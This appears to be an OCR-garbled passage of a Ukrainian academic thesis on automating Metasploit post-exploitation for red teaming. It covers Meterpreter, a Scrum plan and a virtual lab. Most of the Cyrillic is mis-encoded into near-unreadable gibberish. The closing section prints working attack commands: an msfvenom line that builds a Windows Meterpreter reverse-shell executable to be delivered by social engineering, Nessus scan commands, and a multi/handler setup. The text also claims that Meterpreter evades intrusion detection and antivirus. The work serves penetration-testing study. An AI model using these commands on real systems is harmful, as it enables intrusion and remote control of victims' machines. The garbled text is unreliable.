BUKOPHUCTOBYE, 1 sika Ha3uBaeTbcst DLL Injection.

VYuiBepcanbHICT, Meterpreter momuproetses He TUlbku Ha DLL Injection, sika
MPOIIOHY€E TPUXOBAaHMI CMOCIO CTBOPEHHS HOBOTO MPOIECY Ha IUIHOBIM MAaIIWHI.
barato ¢ynkiiit Metasploit, 1110 BUKOPUCTOBYIOTBCS MICHS €KCIUTyaTairii, BOy/10BaHi
B Meterpreter, B TOI 4yac sIK iX KUIBKICTh MOKHA PO3IIUPIOBATH IUISXOM MOJATBIIOT
po3pobku. KpiMm TOro, meterpreter Mo’ke 3amycKaTH JOJATKOBI CKPHUIITH, SKi

BHUKOHYIOTh 3aBJaHHs aBToMaTHu3arii [18].

3rizHo 31 cmoBamu Moxammana Tabarabast Ipani ta Enrapa P. Beiimura [18],
aBTOMATH3allis TIOCT- eKCIUTyaTalliiHuX TMPOLEAyp € KPUTHYHO BaXJITHBUM
3aBJaHHAM. BaxiauBicTh  aBTOMAaTH3allli  MOCT-eKCIUTyaTalii  Oa3yeTbcsi  Ha

KIIIEHTCHKIM CTOPOHI C€aMoro eramy nocT-ekcruryartaimii. Ha Biaminy Bin ¢asu
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eKCIUTyaTalii, ICHYIOTb OOMEXEHHS MOCT-eKCIUIyaTalii dYepe3 HeOoOXITHICTb

PO3pOOKHU CKPUITIB HA CTOPOHI1 KJIIE€HTA.

Moxamman TaGatabas Ipani ta Enrap P. Bedinmn [18] neMoHCTpyioTh cmocobu
aBTOMaTH3alii TOCT-eKCIUTyaTallii 3a JOMOMOTOI) CKPHITIB, BHKOPHUCTOBYIOUHU
3MaMaHy MalliHy B SKOCTI OCHOBU JUIS TIEPECYBaHHS Cepell CKOMIIPOMETOBAHUX
xocTiB. Kpim Toro, 1uist apromaTu3aliii 0yB po3po0JieHUH 111e OJUH IHCTPYMEHT, SIKUN
HasuBaeTbcsi MSFPC [19]. MSFPC aBromatn3zye MSFvenom i Metasploit, marouun

METy MOBHOT aBTOMaTH3allii GpeiiMBOpPKY.

2.1 Iiuai i 3aB1aHHs po3po0TIOBAHOI0 CKPHUIITA

CkpunT NMpONMOHYEThCS B iHTepecax crnpusHHsS Red Teaming B mpuckopeHHi
fioro omepamiii. Take mporpamHe 3a0e3NeYeHHsT MOBUHHO BUKOHYBATH TpUHAHMHI
YaCTUHY 3arajibHOi OliHKM pusukiB. lleit mporec BkiItoyae B cebe BIAMOBIAHY
imeHTudikaiio IUTLOBOT MEpEeXi, BPa3IMBOCTI ii XOCTIB, a TaKOX MOXJIUBI
eKCIUIOWTH, TIOB's3aHI 3 HUMH. B pesynbrari 1iipoBa Oesmneka Oyne e(eKTHBHO
OIIHIOBATHUCS, B TOM Yac sSK aBTOMATH3allisd 3aJITHUX ITHCTPYMEHTIB JJII PYYHOTO

YIPaBIIHHA MOKPAIUTH IPOLEYPY B IiIoMy, BrockoHamoroun Red Teaming.

[aTerparis iCHyrOuUMX IHCTPYMEHTIB 1 1X aBTOMAaTu3allii B CKPHUMTI, IO
PO3POOITIOETHCS, € AykKE BXKINBOIW. MeTa po3po0JIeHOro CKpUITa - JOTPUMYBATHCS
neBHux mpouenyp i moaid Red Teaming, BU3HAYUTH IHCTPYMEHTH PYYHOI OOPOKH,
HEOOXIIHMX ITiJT Yac OIIHKH, 1 MOB'I3aTH Il Jii pa3oM. 3BUUYAWHOIO CIPaBOIO Oy
Bi0OpakeHHS MUTLOBOT MEPEXKi, BUSIBICHHS BPA3JIMBOCTEH ii BY3IiB, a MOTIM BHOIp
BIJIMOBITHUX 1HCTPYMEHTIB JJIs MPOJOBXKEHHS OIlIHKA. B Takomy Bumanky, Oyme
BUKOPUCTOBYBATHUCS THCTPYMEHT HJisi BigoOpakKeHHS MeEpeki pa3oM 31 CKaHEepOM

Bpa3IMUBOCTEH, a moTiMm, Metasploit Exploit Module.
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3anMc KpOKIB BUKOHAHHS CKpPUNTY € AyXe LIHHUM. Ha koxHOMy erari
MPO30pe JIOTYBaHHs BUXIJHUX JTAaHUX CIyTyBaTUMeE Ui JBOX KiHIEeBUX wijei. Ilo-
nepiie, 0e3MepepBHICTh OIIHKU IPYHTYETHCSL HA pe3yJibTaTax KOXKHOTO eTamy. Takum
YUHOM, PE3yJbTAT KOKHOIO KPOKY Oy/e 3UMTYBAaTHUCA YYACHUKOM, HACTYIHHM KPOK
Oyne TuUIaHyBaTHCS 1 TMOTIM BHUKOHYBAaTHCS — BIANOBIJHUM YUHOM, IIPOILIEC
MOBTOPIOEThCS NpU HeoOxiaHOCTL. [lo-apyre, 3aBAsSkd €(pEeKTUBHOMY JOTYBaHHIO Ta

YITKUM OTPHUMAHUM PC3YyJIbTaTaM MOKJIMBA OHTI/IMiSaL[iH 1 HOIIaJIBH_II/Iﬁ PO3BUTOK.

KiH1eBoro MeTor IIbOTO CKPHUIITA € PO3rOPTaHHS KOPUCHOTO HAaBAHTAKEHHS
Metasploit Ha ckoMmpomeToBaHii 1iTi. TakuM KOPHUCHUM HaBaHTAKEHHSIM €
Meterpreter, SKWii € YyJAOBUM JUIsl PO3rOPTaHHS 3aBIsSKH CBOIM IEepeaoOBid Ta
nuHaMiuHii posmmuproBaHocti [20]. Ilpu BukonanHi Meterpreter MOMIMPIOETHCS IO
MEpPEXi 3 BUKOPUCTAHHSM BOYIOBaHUX B nam'astb DLL-iH'ekiIii, 10 MpU3BOAUTH 10
OoOMiHY JaHUMH, BUBCJICHMMH Ha KOHCOJIb 3JIOBMHCHHKAa 3a JIOIIOMOTOIO
kiieHTcbkoro Ruby API, mikx nimmo Ta 3moBMucHukoMm[20]. Meterpreter €
NPUXOBAaHUM, MOTYKHUM 1 PO3IMIMPIOBAHUM, 3a0€3Meuyloud, KpiM TOro, cepemy
CIEHapiiB  JAJii  BUKOPUCTaHHS  TepeBar 3aBJaHb  aBTOMAaTH3allli  MPOTH

ckommpomeroBanoi metu [20].

2.2 Meterpreter

Opniero 3 yynoBux ocoOnmBocTeil Metasploit € ioro apceHan iHCTPYMEHTIB
JUTSL TIOCT-€KCIUTyaTaIiiHol MisyibHOCTI. Meterpreter OyB po3poOneHU B paMKax

Metasploit, 106 3poOuTH 1110 3a/1a9y MIBUIIIE 1 TIPOCTIIIIE.

Meterpreter - ue posmupeHe OaraToQyHKIIIOHAJIbHE KOPUCHE HAaBAaHTAXKECHHS,
K€ MOYKe OyTH JWHAMIYHO PO3IIMPEHE ITiJT Yac BUKOHAHHS HA BIAJAICHIN CHCTEMI,
IpH BIJACYTHOCTI iHCTpyMeHTiB Ha 1t [21]. Kpim Toro, cucremu, SKHX HEMae B
Hallld Mepexl, aje sIKi 3HaXOASATHCS B MEPEXl EKCIUIyaTOBaHOI CUCTEMHU, MOXHA

JIETKO BUKOPUCTOBYBATH 3a Jonomorow meterpreter. [lpocrinie kaxxyuu, BiH Hajae
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IHTEPAKTUBHY OOOJIOHKY, $Ka JO03BOJIIE BUKOPUCTOBYBAaTH (YHKIII, SIKI MOKHA
PO3LIMPIOBATH IiJl YaC BUKOHAHHA 1 TUM CaMHUM 30UIBIIMTH IIAHCH Ha YCITIIIHE

TECTYBaHHS Ha NPOHUKHEHH: [21].

3 3aralbHUMU KOPHCHHMH HAaBaHTAKEHHSMHU 3a3BHYail  MPOIMOHYETHCS
000JIOHKA, 32 JIOMOMOTOI0 SIKOI MOXJIMBO JIETKO B3a€EMOIATH 3 cucteMoro. [Ipu mux
HOpPMaJIbHUX OOCTaBMHAX, KOJU CHCTEMa EKCIUTyaTy€eThCs, JOCTaBISETHCS OJIHE
KOpYCHE HABAaHTA)XCHHS, sIKa MOXKE BUKOHATH TUTBKH OJHY KOMaHIYy Ta 3aBEpIINTH
CBOE€ BUKOHaHHS. Jlns 3aBaHTakeHHs ¢ailry, OTpMMaHHS XeMIiB TapolliB BCiX
OOJIIKOBUX 3alMCIB KOPUCTYBAUiB, MEPEXOy B IHITY MEpexXy a0bo MiABUIICHHS CBOIX
npuBIe MoTpiOHO 3poOuTH Oarato KpokiB 1 mojponaru 6e3niu TpyaHoui. Kpim
TOTO, KOKHOTO pa3y, KOJIM 3BUYAiiHE KOPHCHE HABAHTAXXEHHS JO3BOJUTH MEPEAaTH
KOMaHy, i 11 KoMaHjaa Oyjae poOWTH OJHY MAif0, TaKy SIK JOJaBaHHS KOPHCTyBaua,
PUXOBYBAHHS YOTOCh a00 BIIKPHUTTS OOOJIOHKH, MPpU IbOMY Tpoliec cmd.exe Oyje
J0JIaHO JI0 CHHCKY MpOLECiB, AOCTYMHHUX 3 IMpaBaMU CHCTEMH, IO OYXKE CKOPO
BUKJIMYE YEpPBOHY TpHUBOTY. Meterpreter, 3 iHmoro OOKy, BuKOpuctoBye DLL-
1H'€KITII0 JJI1 BUKOHAHHS Oyab-aK0i Takoi 1ii. 3a3BU4ad BiH 3aBaHTaXye MPOIEC
meterpreter B KyImy 0OpaHOro mpolecy Ha BiITAJICHOMY XOCTI, B ME€KaX SKO1 TOBUHEH

nparroBatu meterpreter [21].

[Ile omwmH kopuwcHuUi ¢dakT, MOB'SI3aHUN 3 Meterpreter, - #oro 37aTHICTH
3aJUIIATUCS HETIOMIYEHUM HaW4acTillle BUKOPUCTOBYBAHUMHU CUCTEMAMU BUSIBICHHS
BTOprHEHb. BOynoBytoun cebGe B mporiec MOMEPEIHbOrO 3aMyCKy Ha BiIIaJICHOMY
XOCTi, BIH HE 3MIHIOE€ CUCTEMHI (Dailii HA KOPCTKOMY JIHUCKY 1, OT)KE, HE Ja€ HisKOi
minka3ku 1t HIDS [Host Intrusion Detection System]. binbin Toro, mporec, B SKOMY
mpairroe meterpreter, moxe OyTu 3MiHEHUH B OyIb-IKUI 9ac, TOMY WOTO BiICTEKEHHS

a00 NMPUIIMHEHHS CTa€ JOCUTh BaXKKMM HABITh JJIS MiArOTOBICHOI Troauau [21].

Hapemri, meterpreter Takoxx 3a0e3nedye TPOCTOTY OaraTo3aJaadHOCTi,

HaJIal0u1 MOKJIMBICTh CTBOPEHHS JIEKUJIBKOX CeCiil.
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OTtxe, meterpreter - YyJOBUI IHCTPYMEHT JJI BIAJAJIIEHOTO YIPABIIHHS, KU,
Ha JOJATOK JO BEJIMKOi KUIBKOCTI BOYAOBaHMX IHCTPYMEHTIB, Ma’ MOKJIMUBICTb
po3mupenHs ¢yHkiionany. Ilpu mpoMy BCiM BiH aOCOJIIOTHO HEMOMITHHM JUist

OUIBIIOCT1 AHTUBIPYCIB.

BucHoBok 10 po3ainy 2

O1xe, METOI0 aBTOMaTH3allli € CHPOIIEHHS pOOOTH KOpHUCTyBaya 1 IMiJBUILIEHHS
edeKkTUBHOCTI MK nporecamu miargopmu. CieHapiii aBTomMaTH3allii MPONOHYETHCS
B iHTepecax cnpusHHsd Red Teaming B mnpuckopeHHl HOro omepaiiii. 3aBasku
PO3IJIIHYTUM IHCTPYMEHTAaM 3 BIAKPUTHUM BHUXITHUM KOJIOM, 3’SIBUJIACH MOKJIUBICTD

CTBOPCHHS TAKUX CHCHapi'l'B.
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3 MeTo10J10ril HANMCAHHSA CHEHAPiI0 aBTOMAaTH3aIlil

3.1 Scrum Framework

3a OCHOBY JIJIs1 YIIPaBIIIHHS MPOLECOM PO3POOKM aBTOMAaTUYHOIO CKpUMNTa Oysa

B3siTa METO0JIOr1sS Scrum.

Scrum HanexuTh 10 cimeiicTBa Agile Framework 1 onucyeTbes ik iTepaTUBHA
Ta IHKpEMEHTHa cTpykTypa [22]. [IpuunMHOI0 BUKOPUCTAaHHS TaKOi CTPYKTYpU INpHU
po3po0Ili MOTO CKPHUNTY € HEOOXITHICTh aJanTUBHOI Ta THYYKOI METOJI0JIOr1],
oOymoBIieHOi 3MiHHICTIO cepepoBuiia Red Teaming 1 minnuBicTiO ii BUMor. Agile
HIATPUMY€E PETYJSIpHE 1 CIUIbHE BUPIMICHHS MpoOsieM, B TOM yac K CyThb Scrum
noJisirae 'y ¢GopMyBaHHI HEBEJIMKOT KOMaH/H, SIKa BU3HAYAETHCS ii aJIallTUBHICTIO Ta

THYYKICTIO [22].

Komanma Scrum cknagaeTrbes 3 BIaCHUKA MPOAYKTY, KOMAaHIN PO3POOHHKIB i
Scrum-maiictpa. BrmacHUK TpPOAYKTY KOHTPOIIOE OCKJIOT TPOAYKTY, SKUH SIBIISIE
CITMCOK BHMOT II10JI0 PO3pO0JIIOBaHOTO IIporpamMHoro 3aco0y. Komanma po3poOHHKIB
HECe BIJIMOBIMANBHICT, 3a IOCTYIIOBY JOCTaBKY €JIEMEHTIB B Oekior, a Scrum-

Maiictep 3abe3mnedye BiMOBIIHICTh KOMaHIu Scrum raiay [22].

CrpuHT, KIIOYOBUN KOMIIOHEHT pO3pOOKHM B Scrum, siBisi€e COOO0 TEBHHIMA
YacoBMil iHTEPBAJ TPHBAIICTIO OJMH Micsb a6o Menme [22]. Moro Mera monsrae B
cTBOpeHHi «['0TOBOTO», TOOTO MPUAATHOTO 10 BUKOPUCTAHHS 1 BUITYCKY [HKpeMeHTy
npoaykty. Komanma Scrum mimanye cBoi il mij yac TUTaHyBaHHS CHOPHUHTY. [HIi
Scrum-moxii BrimowaroTh Daily Scrum i Sprint Review. Ilepmmuii ctocyerbes
KOPOTKHX YaCOBHUX PaMOK JIJIi KOMaH/IA PO3POOHUKIB 1 I TIEpeBipKH ii mporpecy, B
TOW Yac SK APy BKIIOYAE BUBUCHHS OTPUMAHOTO IHKPEMEHTY TOPSJ] 3 MOXKIUBOIO

aJlanTarfiero B 0eK1031 MPOaYKTY.

Ha nactynHomy MantoHKy 300pa)kK€HO OCHOBHI MpOLeAYpH, Mol 1 00'eKTH B

Scrum, a Tako UTFOCTPOBaH1 BIIHOCUHHU MIK HUMH:
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Scrum

Scorum Master

Daily Scrum

SPRINT
1-4 WEEKS

D=

Product Owner Team

&

PN
AT i Sprint
\ @.\, A \I Review
= ) | :
Ef o v=— Sprint
\\:;7 Retrospective

Product Sprint Planning Sprint Finished
Backlog Meeting Backlog Work

Pucynoxk 3.1. B3zsro 3 caiity medium.com

Scrum Framework - 1me KoHTeiHEp, B SKOMY MOXYTh BHKOPHCTOBYBATHCS
YHCICHHI MPOIECH, METO/I0JIOTIT Ta METOH, B TOHM 4ac K AoTpuManHs Scrum Guide
€ KPUTUYHO BKIIMBHM y Oyab-skuii yac. CkpaM CHIJIBHO 3aJIC)KHUTh BiJl EMITIpU3MY,
criBmpairi 1 30€peKeHHs IIHHOCTeW OOO0B’S3KiB, 30CEPEKEHOCTI, BIAKPUTOCTI Ta

noBsaru [22].

VY 1ifi poboTi Scrum MPOMOHYETHCA B SIKOCTI HAMOLIBII MIAXOJAIIOI OCHOBU
U PO3pOOKH CKPUNTY. BUMOTH, IO CTOCYIOTHCS CTBOPIOBAHOTO MPOIYKTY, OYAYTh
BUSIBJICHI Ta BKa3aHI BIIOPSIKOBAHO, yTBOpPIOOUM Horo Oekior. Kpim Ttoro, icHye
6e3miu pizHux komaHa 1 GyHkiii Metasploit, siki MOXHa acoIlitOBaTH Ta MOB'SI3yBaTU
OJIUH 3 OJHHUM, YTBOPIOIOYM aBTOMATHYHHU TMporiec. J[oTpuMaHHS MOKPOKOBOTO
MPOIIeCy PO3pOOKH B IHKPEMEHTOBAHOMY ITIXOMI, Ja€ 3MOTY 30CEPEIUTHCh Ha
KOXXHOMY 1HKpEMEHTI B Tiporieci po3pobku. bepyun m0 3MiHHICTH cepenoBumia Red
Teaming, OunbmIa 30CepeHKEHICTh MPU3BOIUTH 1O TOKpAIIEHHS AaJanTUBHOCTI, a
OTXKe, 1 10 MIABUIIEHHS MPOIYKTUBHOCTI. OTXKe, MpoIeaypa, 0 BiAMOBITAE METOAM

Scrum, BUSIBIISIETHCS HAaJI3BUYAiHO KOPHUCHOIO.

HesBaxkaroum Ha Te, 10 B KOMaH/1I Scrum KOXEH Ipa€ MeBHY pojib, B XOA1 L€l

poboTH 51 6epy Ha cede PoJib KOKHOTO YjieHa KOMaHIU 1 BAKOHYIO BCI iX 3aBIaHHS.
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3.2 BekJyor npoaykry

Sk yxe 3raayBajiocs paHiiie, Bce, 10 HEOOXITHO Il PO3pOOKH MPOAYKTY,
aBisie  coOOK  YMOPSAKOBaHUM cnuCOK Oekyora [22]. Y 0ekiio3l MOpOaYKTY
nepepaxoBaHi BUMOTH, IHCTpYMEHTapii, (PyHKIIIl, MOJINIIEHHS 1 BUMPABICHHA, L0
CTOCYIOTbCS MalOyTHIX peni3iB. OnHaK OEKJIOr MPOAYKTY HIKOJM HE MPUIUHAETHCS,
OCKUIBKU BIH TICHO TOB'SI3aHUN 3 MOCTIHHOKO €BOJIIOIIEI0 CAMOTO MPOJYKTY 1 MOro

cepenosuina [22].

[Ticns mpoBeneHHs aHAMI3y LUIEH 1 3aBIaHb CKPUIITY BU3HAYAIOTHCS HACTYIIHI

BUMOTI'H:

1. OuiHka pu3HUKy

2. JloryBaHHs

3. IHcTpyMeHTH iHTerparlii Ta aBToMaTu3arii
4,

BukonaHns KOPUCHOI'O HABAHTAXXCHHA

BuimeBkazani BUMOTHM MarTh OUIBII MIHUPOKHK CHEKTP 1 € Pe3yiabTaTOM
NEPBUHHOTO aHali3y. 3riJHO 3 MPAKTUKOIO Scrum, Il MOYaTKOBI BUMOTU OYIyTh
IPOXOAUTH uepe3 mepury ¢azy oOpoOkH, CTBOpIOIOYM (GYHKINT IS CKpUNTa Ta
IHCTpYMEHTapi, SKui iX peanizyroe. B Tabmumi 3.1 Ta 3.2 BU3HA4YeHO Taki QyHKIII1

Ta IHCTPYMEHTapIi:

Tabmuns 3.1 - OyaKIii

MepexeBe kaprorpadyBaHHs

CkaHnyBaHHSI Bpa3JiuBoOCTeil

InTerpanis 6a3u 1aHux

JloryBanuss XML

Excnutyaranis BpaziauBocTeii 3 BUKopucTanuam Metasploit

CrBopenns mkiganBoro IO 11 BUKOPUCTAHHS HA CTOPOHI KJII€EHTA

NEpo R w RN -

Kopncne HaBaAHTAKCHHA Meterpreter npoTn CKOMHpOMeHTOBaHO.l. METH
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8.

AsTomaTtusauiss Metasploit

Tabmuus 3.2 - [HctpymeHTapiii

Nmap BOynoBanuii B Metasploit

B8 RS O EEE O -

Ckanep BpasiuBocteid Nessus BOynoBanuii B Metasploit
ba3za nanunx PostgreSQL, interpoBana 3 Metasploit.

Nmap XML Output ta Msfconsole Qutput

IHomyk, BHOip | BAKOPUCTAHHSA €KCIVIONTIB MPOTH LTI
CrBopenns mkigausoro I1O 3 Bukopucranusam Msfvenom
Posroprannst Meterpreter Payload

Cxkpunr aBTomMaTusaumii

[Ticnsa aHanmizy BUMOT 1 BUBHAYEHHS iX (YHKIIIM Ta IHCTpYMEHTapil0 B TaOJIHII

HIKYE CKIIAJIEHUH OEKJIOT POIYKTY':

1.
2.

BinoGpaxenHs Mepexi 3 BUKOpUCTaHHSAM BOy10BaHOTO B Metasploit Nmap
CkaHyBaHHS Bpa3JIMBOCTEH 3a JOMOMOTOI0 ckaHepa Nessus, BOyJZOBaHOTO B
Metasploit

JloryBanust XML 3 Bukopuctanusam Nmap XML Output 1 Msfconsole Output
BuxopucrtanHs Bpa3NMBOCTEH MIISXOM TONIYKY, BHOOPY Ta BHUKOPUCTaHHS
Metasploit Exploit momxyiB

CrtBopenns mkianusoro I10O 3a monomororo Msfvenom st BAKOpUCTaHHS Ha
CTOPOHI KITIEHTA

PosropranHs kopucHOro HaBaHTa)keHHsI Meterpreter

Ckpunrt aBToMartm3ailii, Sskuii 00 '€eqHye BCi MepepaxoBaHi BUIE KOMaHIH 1

nporeaypu Metasploit

3.3 HajamrTyBaHHS NPOTrPaMHOIo0 3a0e3neYyeHHs
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B npomy minpo3auii onucaHl onepaiiiHi CHCTEMH 1 TporpamMHe 3a0e3Ne4eHHs],
Kl BHKOPHUCTOBYBAJUChH IIiJI Yac po3poOKM CKpUITy aBromartu3aiii. Metasploit
Framework - 1ie ocHOBHe mporpaMHe 3a0e3nedeHHs, ke Oy/ie BUKOPUCTOBYBATHCS
Opy  po3poOILl CKPUINTY JUIsi aBTOMAaTH3allli, MOB’S3YIOUM IHCTPYMEHTH, UIO
noTpeOyroTh pyuHoi 00poOku. Msfconsole Oyne 0CHOBHOIO KOHCOJUTIO BUKOPUCTAHHS

Metasploit pazom 3 msfvenom.

3.3.1 Ba3zoBa cucrema

[To-miepmre, 6a30BOIO CHUCTEMOIO, sika Oyje BUKOPHCTOBYBATHCS IS KOXKHOT
omeparii, € HOyroyk 3 OC Windows 10. Horo moapo6uui 6igbm meTambHO
npeacTtaBiaeHi B Taommii 3.3 Hmwkue. lleit HOyTOyk cTaHe OCHOBOIO TECTOBOTO
MEpPEKEBOTO CEpeNIOBHUINA, SKEe Oyae CTBOpPEHE I TECTYBaHHS CKPHUITY
aBTOMatu3aiii, a Takox OC, sika OyJie BUKOPUCTOBYBATHCS JJIsI pO3POOKH BUXITHOTO

KOy, sIKi Oy/IyTh CTBOPEH1 Ha OCHOBI IMTPOTpaMHOT0 3a0e3MeueHHs BipTyasizallii.

Tab6aui 3.3 - Cucremni BiaactuBocti Windows 10

[Mporuiecop | Intel® Core™ i7-7700HQ CPU @ 2.80GHz
o3y 16 GB
Tun cucremn | 64-6iTHa omepariifina cuctema, mporecop x64

Bepcigs OC | Windows 10 Kopniopatusaa 2016
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3.3.2 Mepe:keBe cepeaoBuIlle sl TECTYBAHHSA

[lepen moyaTkoM poO3pOOKH MPOTPaMHOTO Koay, 3a gonomorow I1O mns
BipTyanizaimii OyJae CTBOpeHO TecToBe MepexeBe cepepouiie. [llo crocyeThes
cnenudikamii 6a3zoBoi cuctemu, 1o I[IO nns BipTyamizamii Moxe e(EKTUBHO
BipryanizyBatu 7 mamud: 2 ['b O3Y Buaiieno anga mectu 3 Hux, a 4 I'b O3V
BuaieHo s OC Red Teaming, 1m0 BUKOPUCTOBYEThCS st po3poOku. OTxke, 6

MalvH OyayTh ePEKTUBHO MOJCITIOBATH MEPEKEBY CEPEIY Il TECTYBaHHS.

OcHOBHa MeTa CTBOPEHHS TAaKOi MEpEXl1 MOJsrae B ToMy, 100 3MOJENIOBATH
0a30By Mepexy s Manux 1 cepennix nianpuemcts (MCII) ana aemoncTtpariii Toro,
AK po3poOJieHWH CKPUNT aBTOMAaTH3allli MOXKe MaHeBpyBaTh BcepeAuHi Hei. Ha
J0JIaTOK /10 I[bOTO, BIJMOBIIHO 10 MPAKTUKH Scrum, CUMYJIbOBaHA Mepexa Oyne
BUKOPHUCTOBYBATHUCA MIJl 4ac PO3POOKM KOXKHOI YACTHHU BUXIHOTO KOAY CKpHIITa

JUTSL TECTYBAHHS, MEPII HIK CKPUIT OyJ1e MOBHICTIO BUKOPUCTAHHUM MPOTH HET.

3a nanumu StatCounter GlobalStats [24], no xBitHs 2019 poky Bce 111e 30epirae cBoi
no3uiii OC Windows, sika ckinamae 79.24% BcbOro puHKY. 3TiIHO 3 THM CAMHM
mkepenom, cratuctrka Desktop Windows Version Market Share Worldwide [24] oo
tpaBHs 2019 poxy nokazye 33.38% Windows 7 1 56.24% Windows 10 Ha puHKY.
Xoua it Windows 10 moctatabo Bunepemkae Windows 7, Bid Bce 1me
BUKOPHUCTOBYETHCS Y Oaratbox opranizamisix. B pe3ynprati TecToBE MepeKeBe
cepenoBuile Oyae ckimamatucs 3 3 oneparniinux cucreM Windows 7 13 Windows 10.

JleTaui ux onepaniiHux CUCTEM MPOLTIOCTPOBaHI B HACTYMHIN TabmuIi 3.4.
Tabmuus 3.4

Cucremni ) _
) Windows 7 Windows 10
BJAaCTHUBOCTI1

[Tpomecop Intel® Core™ i7-7700HQ CPU | Intel® Core™ i7-7700HQ CPU
@ 2.80GHz @ 2.80GHz
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o3y 2GB 2GB
Tun cucremu | 64-0iTHa omepariifHa CHCTeMa, 64-6iTHa omeparlilina cucTema,
nporecop x64 npouecop x64
Bepcigs OC | Windows 7 Pro Windows 10 Pro

3.3.3 Red Teaming OC

Onmneparriiina cucrema, sika 0y/ie BUKOPUCTOBYBATHCS IS PO3POOKH CKPHIITY -
ne Kali Linux [25]. ductpubytus Kali Linux [25] npencrasisie coboro maathopmy
Ha ocHOBl Debian, crermianbHO po3poliieHy il ayauTy Oe3leKd 1 TECTyBaHHS Ha
nponrkHeHHs [25]. Kali Linux mnoctaBiasieTbes 3  O€371Y4I0  MOMEPEIHBO
BCTAaHOBJICHMX I1HCTPYMEHTIB TECTYBaHHsS Ha TPOHUKHEHHS, OIHUM 3 SKHX €
Metasploit Framework. Jlokmagsi BigoMocTi nmpo Bukopuctanuii guctpuoyrus Kali

Linux [25] naBeneni B Tabmuii 3.5 Hikye.
Taomung 3.5

Cucremui Biaactubocti Kali Linux

[Mporuiecop | Intel® Core™ i7-7700HQ CPU @ 2.80GHz
o3y 4 GB

Tun cucremn | 64-6iTHa omepariiiina cuctema, mporecop x64

Bepcis OC | Kali Linux 2019.2

3.3.4 Inmi iHCTpyMeHTH

B mactynHii tabauii 3.6, HaBeaeHI MOAPOOUIN IOI0 IHIIUX IHCTPYMEHTIB, K1
BUKOPHUCTOBYBAJIUCh JJIA PO3POOKM cKpunTa apromaTtuzamii. [ns pobotu 3

MpOorpaMHKUM 3a0€3MeUYEHHSIM JJIs BIpTyasi3alli 1 BAKOpUCTOByBasa VMware.
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Sx yxe 3ragyBaniocs panime, Metasploit Framework BuKOpuCTOBYy€eThCS
npotsarom yciei orinku Red Teaming. MoBa nporpaMmyBaHHs, IO BUKOPUCTOBY€ETHCS
- Ruby. Ile moBa creHapiiB, sika TakoX € MOBOIO, Ha SIKOMYy OyB HalHMCaHUii
Metasploit. «RubyMine» — komepiiiiine iHTErpOBaHE CEPEAOBHUIIEC PO3POOKH JIJIsk
PO3POOKH MTPOTPaMHOTO 3abe3neyeHHs Ha Ruby ta Ruby on Rails Bix
kommanii «JetBrains». Ckanep BpasmuBocTedi Nessus — 1 IUIariH cKaHepa

BpasnuBocTel mis Metasploit.

Taomung 3.6

Incrpymentn Tun IncrpymenTu

IIporpamue 3a0e3nedeHHs A5 :
VMware Workstation 12.0.0 Player
BipTyaJsmizamii

IIporpamue 3a0e3nme4eHHs A5l )
Metasploit 4.14
TeCTYBAHHS HA NPOHNKHEHHS

MoBa nporpamMmyBaHHS Ruby 2.6.3
PenakTop BHXiIHOr0 KOIy RubyMine 2019.1
Ckanep Bpa3juBocTei Nessus Home Ckanep Bpa3znuBocTeit

3.4 BekTtopu aTaku

B Jonmatky 2 npencrapineni aBa ckpuntu y ¢hopmi Metasploit Resource Scripts.

Hagani ckpuntyi moBuHHI OyTH TOMIiIIEHI B HAcTymHy mamnky Metasploit

Framework: / usr / share / metasploit-framework / scripts / resource

106 3amyctuTtH X, Tpeba BBeCTH HACTYNHY KOMaHIy B msfconsole, a motim

iM'st CKpUIITA:

resource <resource_script_name>
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B nepuromy BEKTOp1 aTaku HIisKlI €KCIUIOMTH HA LUIbOBIM MamuHI HE OYIyTh
BUKOpPHUCTaHI, Oy/le BUKOHAaHO BiIOOpaK€HHS Mepexi 3a JonomMororo Nmap Ta
ctBopeHo ImkimuBe [IO komanmoro msfvenom uisi BUKOPUCTaHHS Ha LUIbOBIN

CUCTEMI 32 JOTIOMOT' 00 COLIaJIBbHOT IHXKEHEePIi.

Komannu Metasploit, sKi BHKOPUCTOBYIOTbCS Yy MEPIIOMY CKpHIITI

aBTOMAaTH3AaLlll;

1. TCP SYN ckanyBaHHS JIOKaJIbHOT MEPEXKI:

nmap -sS -A 192.168.254.0/24

2. CTBOpEHHS LIKIJIMBOTO MPOrPaMHOro 3a0e3neyeHHs A miaThopMu
Windows, B SKOMY B SIKOCTI KOPUCHOTO HaBaHTAXXCHHS Oyse OeKI0p:
msfvenom --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.254.215 LPORT=4444 -f exe > #{h}win.exe

windows/meterpreter/reverse_tcp o3nauae BrpoBamkeHHs DLL cepsepa
meterpreter dyepe3 Reflective DIl Injection payload, 3 yTBOpeHHSM 3BOPOTHOTO
3'eTHAHHS 10 aTakyrudoro. To0To, Oyae CTBOPEHO PeBEpCHUBHUI (3BOPOTHUM) MIEII
70 aTaKkyr4doro, SKHid JI03BOJIUTh KEpPyBaTH MUILOBHUM KOMITHOTEPOM Hepe3

meterpreter.

B napyromy BekTopi araku, 3a JOIMOMOIOI CKaHepa Bpa3iauBocTel Nessus
BOynmoBaHoro B Metasploit ckaHyeTbcsl IIbOBa Mepexa, 1 Oyab-sfKi BUSBICHI
BPa3UBOCTI BUKOPUCTOBYIOTHCS I OTPUMAHHS JIOCTYIY IO IIUIHOBOi CHUCTEMU

yepes KopucHe HaBaHTakxeHHs1 Meterpreter Reverse TCP.

Komanmu Metasploit, sKi BHKOPHUCTOBYIOTBCS Yy JAPYIOMY  CKpHIITI

aBTOMAaTH3ALlIl:

1. Crapt, miaKIr0YeHHs Ta CKAaHyBaHHS BPa3JIMBOCTEH 3a JOTIOMOTO0 Nessus

/etc/init.d/nessusd start

load nessus
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nessus_connect #{nessususer}:#{nessuspass}@192.168.254.215:8834 ok
nessus_scan list
nessus_report_hosts #{scan_id}
nessus_report_vulns #{scan_id}
nessus_db_import #{scan_id}

2. BcraHOoBNEHHS 3HAMIEHOTO €KCILIONTA JI0 BiJIMOBIIHOT BPa3JIMBOCTI:
use exploit/multi/handler
3. BcranosnenHs ip-agpecu igbOBOI MAIIMHK, IP-apecy aTaKyr4voi MalliHU Ta

nennoany /meterpreter/reverse tcp:

set RHOST #{target_ip}
set LHOST 192.168.254.215
set payload windows/meterpreter/reverse_tcp
4, BukoHaHHS €KCIUIOMTA Ta HOTO KOPHUCHOI'O HABAHTAXKCHHS

run

BucHoBok 10 po3ainy 3

